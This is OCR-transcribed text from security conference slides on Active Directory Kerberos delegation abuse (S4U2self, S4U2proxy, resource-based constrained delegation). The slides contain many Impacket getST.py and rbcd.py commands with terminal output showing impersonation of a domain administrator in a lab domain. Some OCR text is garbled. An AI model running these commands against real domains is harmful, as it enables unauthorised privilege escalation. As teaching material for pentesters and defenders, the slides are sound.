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Charlie Bromberg

Shutdown (@ nwodtuhs

Capgominies

N pentest team leader (operations)

W' community leader (leading change for: sales, staffing,
delivery, knowledge management, ...)

The Hacker Recipes, Exegol, pyWhisker,
targetedKerberoast.py, small PoCs, various Impacket scripts, ...

Rémi Gascou (@podalirius
Mathieu Calemard du Gardin (@Dramelac
Spiros Fraganastasis (mm3gdtrin ...

434851442 N, 53591208 E



https://twitter.com/_nwodtuhs
https://twitter.com/podalirius_
https://twitter.com/Dramelac_
https://twitter.com/m3g9tr0n
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Domain Services
Users, groups
Devices (workstation, server, ...)
Services (emails, apps, files, ...)
Mechanisms (auth, rights, policies, ...)
Certificate Services
PKI (Public Key Infrastructure), ...
Federation Services

Site Services




3 way handshake (negotiate, challenge, authenticate)
Challenge-response scheme

Secret key based on password hash o orum)
Domain Controller wsuary decides

Based on tickets that expire in time
Pre-authentication scheme based on “long term” key
‘Long term" key based on users' password

Supports certificates (PKINIT) for pre-auth




Capture
Relay
Pass the hash

Pre-auth bruteforce

Pass the key/ticket/cache/certificate
Overpass/unPAC the hash
Golden/silver tickets
ASREQ/ASREP/Kerberoast
Delegations, S4U abuse

Shadow Credentials
sAMAccountName spoofing
SPN-jacking



https://www.thehacker.recipes/ad/movement/ntlm
https://www.thehacker.recipes/ad/movement/kerberos

Client encrypts a timestamp with its LT key I request 3
Can work with certificates (i

Ticket Granting Ticket

<€—All good, here's a

request
) . O —
Issued by the AS" if pre-auth is ok
Information about user stored in PAC <€—All good, here's a
PAC is encrypted with KDC™ LT key (krbtgt) hereé\cr:rc]:;ss request 3

Service Ticket
Issued by the TGS if TGT is ok
PAC" from TGT is replicated and encrypted with Service LT dedieta >
key" (eg appo1$)
Service decides client access depending on info in PAC

——All good, what do you need?

blablablabla:

A
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Unconstrained

Constrained

Resource-Based
Constrained

With protocol transition
("Use any auth. protocol")

Without protocol transition
("Kerberos only")

user] Properties

Organization Member Of Dialin Environment Sessions
Remote control Remote Desktop Services Profile COM=+
General  Address  Account  Profle  Telephones  Delegation

Delegation is a security-sensitive operation, which allows services to act on
behalf of another user.

() Do not trust this user for delegation

() Trust this user for delegation to any service (Kerberos only)

Trust this user for delegation to specified services only
Kerberos only

Jse any authentication protocol



Unconstrained
Account can delegate
Delegation set on the account
Requires domain admin- privileges
Constrained
Account can delegate
Delegation set on the account
Requires domain admin- privileges
With or without

Resource-Based Constrained

can delegate to the account

Delegation set on the account
Doesn't require ultra high privileges
Machine can configure itself for RBCD



Service configured for KUD receives ST SR s —
ST contains user's TGT
KUD service acts as the user with the TGT

<€—All good, here's a TGT:

Service Ticket request
L — for APPO1
with USER TGT

All good, here's a ST
<« —

act as any user on service (USER > )
Access request

except members of Protected Users N [ ——
except users sensitive for delegation

Service Ticket request

requires control over the KUD account

. . . ) i All good, here's a ST 3
requires incoming authentication from user (HEER-SARRIR)
to be able to act as him

Access request

here'sa ST ~—3p
(USER > )




> without Protocol Transition (“Kerberos only")

Service configured for KCD receives ST  TGTrequest ___ o
pre-authentication

ST is used as evidence in a S4U2proxy request

S4U2proxy request = Service Ticket request

<€—All good, here's a TGT:

Service Ticket request
L — for APPO1
with USER TGT

All good, here's a ST
<« —

act as any user on Services (USER > )
Access request

except members of Protected Users f—————teres my Secrios Tekst————
except users sensitive for delegation

S4U2proxy request

requires control over the KCD account

\ . . . . All good, here's a ST
requires incoming authentication from user to be (USER > APP02) — >
able to act as him

Access request

here'sa ST ~—3p
(USER > )




> with Protocol Transition (“any authentication protocol”)

Service configured for KCD calls S4U2self instead
of waiting for a user authentication
. . . S4U2self t
ST is used as evidence in a S4U2proxy request <€, USER 10 APPOT——

S4U2* request = Service Ticket request All good, here's a ST

—  (USER-> )
. S4U2proxy request

act as any user on services P _
except members of Protected Users

. . All good, here's a ST
except users sensitive for delegation E— (UQSER = ) —>
requires control over the KCD account Access request

here'saST —)p

(USER > )



TGT request 3
pre-authentication

<«€—All good, here's a TGT.

Service Ticket request
— for APPO1
with USER TGT

All good, here's a ST S4U2self request

< (USER -> ) € for USER to APPO1
Access request
\ ; All good, here's a ST
_) P T e S— ’ T O T T T T T
here's my Service Ticket (USER -> ) L — ) 2

(USER > )

S4U2proxy request

2N J «— —

All good, here's a ST
(USER -> ) >

Access request

here'sa ST =3
(USER -> )
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obtain a ST for oneself on behalf of a user
if “impersonated” user is protected, ticket is valid but not

if requester not configured for KCD, ticket is valid but not

if requester is configured for KCD without Protocol
Transition, ticket is valid but not

obtain a ST for another service on behalf of

a user

request must include an additional-ticket as evidence

additional-ticket must either be or have the
bit set in

the PA-PAC-OPTIONS

requester must be allowed to delegate to target (KCD,

RBCD)

fails if “impersonated” user is protected

ST obtained with S4U2proxy is always

Shenanigans Labs

Wagging the Dog: Abusing Resource-
Based Constrained Delegation to Attack
Active Directory

28 January 2019 - Elad Shamir « 41 min read

Back in March 2018, | embarked on an arguably pointless crusade to prove that the
TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved
without it. | believed that security wise, once constrained delegation was enabled (msDS-
AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or
“any authentication protocol”.

| started the journey with Benjamin Delpy’s (@ gentilkiwi) help modifying Kekeo to support a certain
attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success,
but the final TGS turned out to be unusable. Ever since then, | kept coming back to it, trying to solve the
problem with different approaches but did not have much success. Until | finally accepted defeat, and
ironically then the solution came up, along with several other interesting abuse cases and new attack
techniques.

TL;DR

This post is lengthy, and | am conscious that many of you do not have the time or attention span to read
it, so | will try to convey the important points first:

1. Resource-based constrained delegation does not require a forwardable TGS when invoking

Wagging the Dog (2019)



https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

> Dude trust me_




Capgominids



> No delegation

Exegol ~ # findDelegation.py -user 'no-deleg$' -dc-ip '192.168.56.101' 'domain.local'/'charlie’:'complexpassword’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

No entries found!
Exegol ~ # getST.py -self -impersonate 'domainadmin’' -dc-ip '192.168.56.101' 'domain.local’'/'no-deleg$’: 'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@no-deleg$aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@no-deleg$aDOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

no KCD

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

[*] User Name : domainadmin

[*] User R : domain.local

[*] Service Name : no-deleg$

[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 16:33:03 PM not forwardable
[*] End Time 1 27/04/2022 02:33:03 AM

[*] RenewTill 1 27/04/2022 16:33:04 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : EHak6Z3xWVeYp5UsfB+AbQ==



> KCD without PT

Exegol ~ # findDelegation.py -user 'constrained$' -dc-ip '192.168.56.101' 'domain.local'/'charlie’:'complexpassword’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

AccountName AccountType DelegationType DelegationRightsTo

constrained$ Computer Constrained w/o Protocol Transition rpcss/sv@l.domain.local

constrained$ Computer Constrained w/o Protocol Transition rpcss/SvVo1

constrained$ Computer Constrained w/o Protocol Transition http/sv01.domain.local

constrained$ Computer Constrained w/o Protocol Transition http/SVo1

constrained$ Computer Constrained w/o Protocol Transition HOST/sv01.domain.local

constra%ned$ Computer Constrained w/o Protocol Transition HQST/SV01 . -— KCD, but no
constrained$ Computer Constrained w/o Protocol Transition cifs/sv01.domain.local Prot I'T it
constrained$ Computer Constrained w/o Protocol Transition cifs/SvVo1 rotocol Iransituon

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/'constrained$’':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@constrained$@DOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@constrained$aDOMAIN.LOCAL.ccache’

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
: ;

| rv1ce Nam . CC ral 1D
[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 16:36:00 PM not forwardable
[*] End Time 1 27/04/2022 02:36:00 AM

[*] RenewTill 1 27/04/2022 16:36:00 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : 9tLN9P8VPM3pvOMnZ0o53g==



> KCD with PT

X

constrained Properties

General Operating System Member Of Delegation Location Managed By Dialin
constrained Properties

Delegation is a security-sensitive operation, which allows services to act on
behalf of another user.
= General Operating System Member Of gation  Location Managed By Dialin
(O Do not trust this computer for delegation
Delegation is a security-sensitive operation, which allows services to act on

(O Trust this computer for delegation to any service
behalf of another user.

) Trust this computer for delegation to specified services only
o not trust this computer for delegation

) Use Kerberos only
(O Use any authentication prot O Trust this computer for delegation to any service (Kerberos only)
) Trust this computer for delegation to specified services only

Services tc ich this account can present delegated credentials:
QO Us os only
Port ervice N, = 3
) Use any authentication pre

rvice Type
Services to which this account can present delegated credentials

sv01.domain local
sv01.domain local

main local Service Type  User or Computer Port rvice Ni

sv01.domain local cifs sv01.domain local

HOST sv01.domain local

http sv01.domain Jocal

pess sv01.domain local

[ Expanded

Cancel

Cancel




> KCD with PT

Exegol ~ # findDelegation.py -user 'constrained$' -dc-ip '192.168.56.101' 'domain.local'/'charlie’:'complexpassword’
25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

Impacket v0.9.

AccountName  AccountType DelegationType DelegationRightsTo

constrained$ Computer Constrained w/ Protocol Transition rpcss/sv01.domain.local

constrained$ Computer Constrained w/ Protocol Transition rpcss/SVol

constrained$ Computer Constrained w/ Protocol Transition http/sv@1.domain.local

constrained$ Computer Constrained w/ Protocol Transition http/Svo1

constrained$ Computer Constrained w/ Protocol Transition HOST/sv@1.domain.local

constrained$ Computer Constrained w/ Protocol Transition HOST/SVo1 ) ; ;
constrained$ Computer Constrained w/ Protocol Transition cifs/svel.domain.local Constrained Delegation with
constrained$ Computer Constrained w/ Protocol Transition cifs/SvVe1 Protocol Transition

Exegol ~ # getST.py -self -impersonate 'domainadmin'
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyri

[-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin
[*] Requesting S4U2self
[*] Saving ticket in domainadmin@constrained$aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@constrained$@DOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1

[*] Parsing credential[0]:

*x] me

*] L

*] Service N\
[*] Service Re
[*] Start Time
[*] End Time
[*] RenewTill
[*] Flags
[*] KeyType
[*] Base64(key

alm

)

: DOMAIN.LOCAL
1 26/04/2022 16:42:45 PM
1 27/04/2022 02:42:45 AM
1 27/04/2022 16:42:45 PM
: (0x40a10000) forwardable,
: rc4_hmac
: HZauK3tyAKGIZ+8+wuzeGw==

-dc-ip '192.168.56.101' 'domain.local'/'constrained$’:'baguette’
021 SecureAuth Corporation

not sensitive for
delegation
not Protected User

forwardable

renewable, pre_authent, enc_pa_rep



> KCD with PT, protected user

protected_admin Properties ? X Exegol ~ # getST.py -self -impersonate 'protected_admin' -dc-ip '192.168.56.101' 'domain.local’'/'constrained$’:'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

Remote control Remote Desktop Service: COM+
Address  Account  Profile elephone: anization

Member OF Diakin e WoaT = [-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating protected_admin

[*] Requesting S4U2self

[*] Saving ticket in protected_admin@constrained$@aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'protected_admin@constrained$@DOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

Member of:

Name

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

Primary group Domain Users

Cancel

[*] Service Realm : DOMAIN.LOCAL

[*] Start Time 1 26/04/2022 16:45:49 PM

[*] End Time 1 27/04/2022 02:45:49 AM

[*] RenewTill 1 27/04/2022 16:45:49 PM

[*] Flags : (0xal10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*]

Base64(key) : AP151XhyEYUKB1iwZYHOTA==



> KCD with PT, user sensitive for deleg.

ve_admin Properties

F:::’;:Lj:ml D‘;:r:ote Deskto:r';\::::::rgroﬂle Scscs'g:i Exegol ~ # getST.py -self -impersonate 'sensitive_admir.l' -dc-ip '192.168.56.101' 'dgmain.local'/'constrained$‘:‘baguette'
General  Address  Account | Profie | Telephones  Organization Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation
User logon name [-] cCache file is not found. Skipping...
@domain local ¥ [*] Getting TGT for user
[*] Impersonating sensitive_admin
[Domany [sensttive_admin [*] Requesting S4U2self
) [*] Saving ticket in sensitive_admin@constrained$aDOMAIN.LOCAL.ccache
Logon Hours... Log On To... Exegol ~ # describeTicket 'sensitive_admin@constrained$aDOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[ Unlock account

Number of credentials in cache: 1
Parsing credential[0]:

[*
Account options: [*

eros DES encryption types for this account

[ This account supports Kerberos AES 128 bit encryption. [*] Service Realm : DOMAIN.LOCAL
FE [*] Start Time 1 26/04/2022 16:51:28 PM
T [*] End T1n_19 : 27/04/2022 02:51:28 AM
[*] RenewTill : 27/04/2022 16:51:29 PM
[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac
[*] Base64(key) : NzGJz493bMqOmPzXAPRXuQ==
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> KCD, not forwardable

Exegol ~ # describeTicket 'domainadmin@constrained$aDOMAIN.LOCAL.ccache'
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

Number of credentials in cache:

[*]
[*] Pars1ng credentlal[e]
] User Nz

[*] Service Realm
[*] Start Time

[*] End Time

[*] RenewTill

[*] Flags

[*] KeyType

[*] Base64(key)

[*] Kerberoast hash

1

: constrained$

: DOMAIN.LOCAL not forwardable

: 26/04/2022 16:58:06 PM

1 27/04/2022 02:58:06 AM

1 27/04/2022 16:58:06 PM

: (0xal0000) renewable, pre_authent, enc_pa_rep

: rc4_hmac

: N7YUYb4SKBOtFam+nGIoYw==

: $krb5tgs$23$*USER$DOMAIN . LOCAL$constrained$*$9a9f507781a31b7fc420dafe77899743$1398b3e000e9e2377d7cc17e410c24c6796a8cbc992fastbefflbcec71024064825026b9f617e90de50f9047d3d

94765c4411f1764ed7f42408c2913976fcbfc0c43576db9895aa69f6fb7b0d1f8c67eb36a39aa9d3f67642c4f480b7e9d17e91b77d0ech2302c52efbe13b3971dfb706eb7ca9584073754balfesebast4b6a68e11784ef3af8bebb8092b6deb3a86748aa62d6db
4ella3le3f6bes7fdchafc5e059a54128aa903977c34109c02claaf8d8a33662409180c1a284d08dce2bcea36ba96167b67a58f1af2265d966eff6ca3d369247f2587419d0827e4fd2f86cfa07c36753e5aa47d80f844b832c9cf128559c4d681c613fd261aa
€5667d3d5796b00e2829c443f111a0080c4bad072243612054730fbc9997e581af8087f1b960fd66d8295effd0es4397c6d58162358511ddd6052dadd88a33c4a9ada21395ace8f3b69736bef38e7abbacdfse54dchbf8de61d2444b18c45fead9bb7d06846a3
4f9bbab0e75fb0efee9695b600e79e47da73f8a04e372258a79b0830736391c786d8e1173fa0c292bce99b67d811c8ed63e2a5b73488c78d32b7c4ea3cdc609079e7f99fdf5f306bc7747af66c617fbs1581807fe7817283ada3f65379ab587d436016ff82b9
7716af579ca8baeb11d88fa97f604f7d69912101ed7de62ecach35bec32fdd393c23c63aab6efc50997035112a88792172416f4cb5f64772d20898ec18ef51c648e06fc2cf738c76d419caf2bebdd76a5fa63db95d77achc567a5e6d0ca9d203cb29b55fc92e
c69072692493a2be52fe16fa72f61be40f921a96b3115810bf840cdcd9d48c3eaccasfb89efc69a3d777a19addch81bb7ffac6119862de575a24c8251d77c72dbalb4175048da3ac12b0e642877662bfd01106e2f4a4f040e5f6a51d259e2b8549006212d27
cef555cabbc5eb4470689b753662538a4b80e253d859cd1955421ef901223078020d3218e7cb1d9b167faefc7241a88786d9788c5068edeefd43ff9095434eeaBaelse061eb9359a03aebal2e833ce03b7c47663dae75084faf28f9c6fes491e5be2c8a6e6340
0a477f08df8f14107066a56b10bed2e221392170¢c2179252d8a81dcch2e25692f62df807db50dd5badc794e99e6a957dbe474f3e316ecfObe4b20d624019c10aa0ff644857f8e5220c6e34f1e260659bb198be37269429055d8046823d9fc578408bab2d5be6
4cf50af28c139a01a0b592302f4969132e83b869¢3750367f5632fd20956e85d833fa010b659958127d0161213d05db04e7a73934e1160a4526d6da2ee46673e6b5d7beb20d20dcf813f6ae7ed3a440872f0ff6fb22e081aabee11d981744df919f 43089956
eabd731727fae76a7b1ab1814e0a51f7ed036960c735b9d34ca596f8b47f4735f56fa9183b

[*] Decod1ng unencrypted data in credential[0]['ticket']:

rvice Nan
[*] Serv1ce Realm
[*] Encryption type

: constrair
: DOMAIN. LOCAL
: rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
Exegol ~ # getST.py -additional-ticket 'domainadmin@constrained$@DOMAIN.LOCAL.ccache' -impersonate 'domainadmin' -spn 'host/sv@l' -dc-ip '192.168.56.101' 'domain.local'/'constrained$’:'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CcCache file is not found. Skipping...

[*] Getting TGT for user
[*] Impersonating domainadmin

[*] Using additional ticket domainadmin@constrained$aDOMAIN.LOCAL.ccache instead of S4U2Self fails

[*] Requesting S4U2Proxy

[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user constrained$ or initial TGT not forwardable



> KCD, forwardable

Exegol ~ # describeTicket 'domai i IN.LOCAL.ccache'
Impacket v0.9.25.dev1+20220425.154538. AdB7f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
ser Name : domaina

AroNain e forwardable

[*] Service Realm : DOMAIN.LOCAL
[*] start Time : 26/04/2022 17:26:42 PM
[*] End Time 1 27/04/2022 03:26:42 AM
[*] RenewTill : 27/04/2022 17:26:41 PM
[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType : rch4_hmac
[*] Base64(key) : LDiQd/wzLqyRcaAOKSINLQ:
[*] Kerberoast hash : $kr $23$: IN.LOCAL$constrained$*$40c2f! 359b67f: 21cf2f$aa109 cbi4ca0a2dsc58f2c6bfaob6fdc8d836910c1903d5b9b52899ec21dfeb1991f6311778c07d25d2293604827dccba5ede4echb
2f964k19ba75ffﬁloeb8771b4bffb53f03dfA07a15c10bb5c27cc5M0330837848f0c932f5bfc555b569fb9213aba71f1d9847a2c949hacbsfc25454fa3d96deflaeofcc520d464flo63ckc7d63e22dcb049da165d13da4c335b0f 2d6418¢53; 2e1c3226a5435815b07a7¢c
68b622e9d93030cf6c7745bc1bda27e7ece264d452e78a5d7e1f204931845ea6bb7c1e118ea810532d0f23d4c0db3c246cb043eac567b5f5cce677a80fbcef3f648409f88773e36e3259886fe687c19b04bf3bofefflal3a131791dabe40ed0c6a3a4e2729f4464743fa8958f4bfdc4f3d9abe3
925118340c8a5f19b40ccb0c80c3749d486a9807879253¢cb51c60fd90d785b247d68477aebs7a55a6333dbfb7dd1 d567fb39b577. 193bc910a35d4fa1807d5b087a755e672483f6e1fadb8e1f090749e8a03b2449d669a3f817dbf576225a41daaf8295cacka394a2b117cObe
dc5669202f46edc479aa301457740afcedfaf379ble330ef8a797fac54b5dd256daa2el1e35a2015617381a9d36c92365e8dab33b7¢95¢6502fb1c1a3729c62e43564a27c3019a795332a5e9f3ae4109bb70b296a03cb2757477e36c281af290a44d7be69d6ab7f79b79e1dbdf3f8b17ab481437
b579d78ae990acf39d500e032458d80571782c40079das55fc52b6c0323b7629cd8827 7a2bec 121b23b9eda8208e7bf36a455b7467649de22145fd64cdc328fd608c8fc81057f2ef4c1826e40c76b9486c2e29bbb03272ac2ed8793babd14c75caeedesdffededb
£19f591a89140d2f42559212f57e9c3081fef8a90f14bebad54d91bd5ab8389e666a77e7f5551de7552€1613649cc27b424 761bx d2cdeb646badbc31 11508f6809fa156c206dd91593b8341aladd047e7efe7eeb35aab84c6309ea991bd6374a7e12c8
d43bal37a5e45181a15a244bb87d66e6a69b3c71b70b046222a9fale2796b4sbaefc096caec81ba2d54115e817cat40a5fbbasal13686171a48f05c6d5de955169a1956a0f fd2afced873d4b6dfdaddse7079ec221bb7612d9d9337cc38a17cf146d1fc7ce5d141b5e4bebfb8644a68701460d2ee
42427d3d11felblb3de752729fe2a5e5e4£287588eb49ab21b8fa62ff8f043b390ca0a29751elcbace6dd09aas19869c02bba6026b59a8115bc8cd17db83f70fb4825d8ed9721ddb7 fcc08d739fc803fb42999f1ad92211d35db72f1ff8764: f43aad383ac304e65:
6cff9455c1098bf95663fafs8a62fIbbs70
[*] Decoding unencrypted data in credentlal[ﬁ][ ticket']:

x] Service Nai constraine:
[*] Service Realm 3 DOMAIN.LOCAL
[*] Encryption type : rc4_hmac (etype 23)
[-] Could not find the correct encrypnon key' Txcket is encx‘ypted with rc4_hmac (etype 23), but no keys/creds were supplied
Exegol ~ # getST.py -additional-ticket 'domai ra IN.LOCAL.ccache' -impersonate 'domainadmin’' -spn 'host/sv@1' -dc-ip '192.168.56.101' 'domain.local'/'constrained$':'baguette’

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user success!
[*] Impersonating domainadmin

[*] Using additional ticket domai i i IN.LOCAL.ccache~ifistead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_svO1@DOMAIN.LOCAL.ccache
Exegol ~ # describeTicket 'domainadmin@ghost_sv@1DOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

] Number of credentials in cache: 1

*] Parsing credential[e]:

] User Name domainadmin
1 Realm : domain.local
] ce Name host/sv01

Ser

[*] Service Realm : DOMAIN.LOCAL

[*] start Time 1 26/04/2022 17:26:48 PM

[*] End Time 1 27/04/2022 03:26:48 AM

[*] RenewTill : 27/04/2022 17:26:47 PM

[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(key) : Q5QD7tPaouvjIMrVssst/g==



> not forwardable, but forwarded anyway
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> not forwardable, forwarded anyway

Exegol ~ # rbcd.py -delegate-from 'rbcd$' -delegate-to 'rbcd$' -dc-ip '192.168.56.101' -action 'read’' ‘'domain.local'/'rbcd$’':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Accounts allowed to act on behalf of other identity:

[*] rbed$ (S-1-5-21-1170647656-860703057-891382899-1147)

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/'rbcd$': 'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@rbcd$aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'domainadmin@rbcd$@DOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Us A inadmin

[*] in.loca

[*] ;e}viée keélm ¢ DbMA;N.LOCAL not forwardable

[*] start Time : 26/04/2022 17:45:05 PM

[*] End Time 1 27/04/2022 03:45:05 AM

[*] RenewTill 1 27/04/2022 17:45:06 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rck_hmac

[*] Base64(key) : 1AfvVLTdgpZfKOXJ1TQHDA==

[*] Kerberoast hash : $krb5tgs$23$*USER$DOMAIN . LOCAL$rbed$*$c3c9cal715d6542b57e40b9d7e8a7ae3$a48d32296b70e8ba7d568843924d63149c09369¢42057a1b6d98df0a799a2387c87e64cde11e9308
91307bd366fa44f0768489502461d8198aa2df3357d5383ff703bc02d8258b460feladscdachca7666cd481055e7587de29be2da3778f fceae2263a458bb886082b9d5f642350d828af994e20647db813a7f12c169a24d025ddae41d9dd
00c408b7de111f7b61e8871a57028201773c f887f8f58d7 7af64b1b7a2929a371ce318e25f0e83c9bb8f95449797b8876efeee32e47909a8ebe19bb9784df1b12f16c7bb8ce534617789cd29a5abebc2b73bad70f fa

497c6198e22ee4a65d7594b77e11740e6122bee9edae28d9f6e7d1fa87b53991208cd1abc0d514dc3116fb4sd7b3ecal3dab912a76dcc2d69ed266bec85234d341d66c2032b855b234db1963178405d837874fe0c6€9623681e3508f16¢ce
90b58310ccefed10efdbf7a6f0abada77fdd2fa1b286a06ddf5c63457ed93383dcdac24ff7cebe9c15e777c7ba75134277aa3382a409942fb8ccc45614fa90d3cf239b02b5f1255bac63af6e56dc0129f3458f486db22e5b92490533197
11954fb59a633c66240f126d159ab84431a7a8ab8f2c. fff50e7aelb ba0f7617 2f13ef32a799ac1b71199438aa75ed2279b1d26ef f710a97c511f 36edd36ab47cc6552a03e0bb50785ad6.
7d6d51374f0294c5b5f5086a25ca087104c350c71dac5e536df5d38dc52b8744c7930e778aaa4t422676b0eed67d0f2f b6c9d4c9a13alfac18286be32b302ff314a1479c95340b8707167e25c21572770b3920fbf2f4893fed
b7895c2796ac2b89858a7b4eb2038a3b1777aecfc49f74a0bc427e7e171c31e17d3b83078712853231c11f63652ca69697e3fca894636502d992269b6456e39185c04206b377adc661333d2148404736c186a5c823943ae282fac21a181
4b7506aac9a41c544934523f7553bbcd80661fd50b563fa10dc871856a4910bf584597ec4792819b2b9416306f57428d890ce6d2c5d3be799¢c5b874F2b3a389875e85f9e5a6408cb578ccedf4fc4382fa7934b6d7eees893ce27123fd12
db8b27800c6ea79601461a0bebb6

[*] Decoding unencrypted data in credential[0]['ticket']:

[*] Service Realm : DOMAIN.LOCAL

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied

Exegol ~ # getST.py -additional-ticket 'domainadmin@rbcd$aDOMAIN.LOCAL.ccache' -impersonate 'domainadmin' -spn 'host/rbcd' -dc-ip '192.168.56.101' 'domain.local'/'rbcd$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domainadmin@rbcd$@DOMAIN.LOCAL.ccache instead o
[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_rbcd@DOMAIN.LOCAL.ccache

forwarded anyway!




> forwardable result

Exegol ~ # describeTicket 'domainadmin@host_rbcd@DOMAIN.LOCAL.ccache'
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall0]:

[*] User Name : domainadmin

[*] User Rea : domain.local

[*] Service Name : host/rbcd

[*] Service Realm : DOMAIN.LOCAL

[#] Start Time : 26/04/2022 17:45:13 PM forwardable

[*] End Time 1 27/04/2022 03:45:13 AM

[*] RenewTill : 27/04/2022 17:45:13 PM

[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : mfzoDXW/pyjwDg356s7TFQ==

[*] Kerberoast hash : $krb5tgs$23$*xUSER$DOMAIN. LOCAL$host/rbcd*$515720a016b148dfbsfd494604dce08a$63bcf188511b7fd17b79c9f581fakeb683b2

9b7b9f2a51cffeahe729a23b8b1fd5ab8075452c77613d78f3857bec63bdcccf798ae2808e92d02a55f6269ffcdef8a6eh20a9f787db196d9d853d1edd4f9a342188c38cceb4f35cf94
00668fd003b270661df0e57cclaaddfc678c85f38324c073ab825387bf17faa6696b52296b0113f6029fd7bf79212fb30d96034ad71e4db770d9146e3ad81de97921499685f99d3c1bf
a71cd48ab275db0b0597d361baa3cee3b191c86b604eaadffc5bb69250128e68f5955a848e9f0b137882941a258ce3359467fch52dfob9dbe803996c36cb0ed39c38e90731b3e0a78ds
38995e45e5734fbb8838bbf0fda945a08bcf7331el4ak4as8c9acffab918c0348bf02640e96a313087cbdb44e8a3b1f005054f65f3a0a7f3355a232b1ec38d36391ff7b75f283b5eb8¢
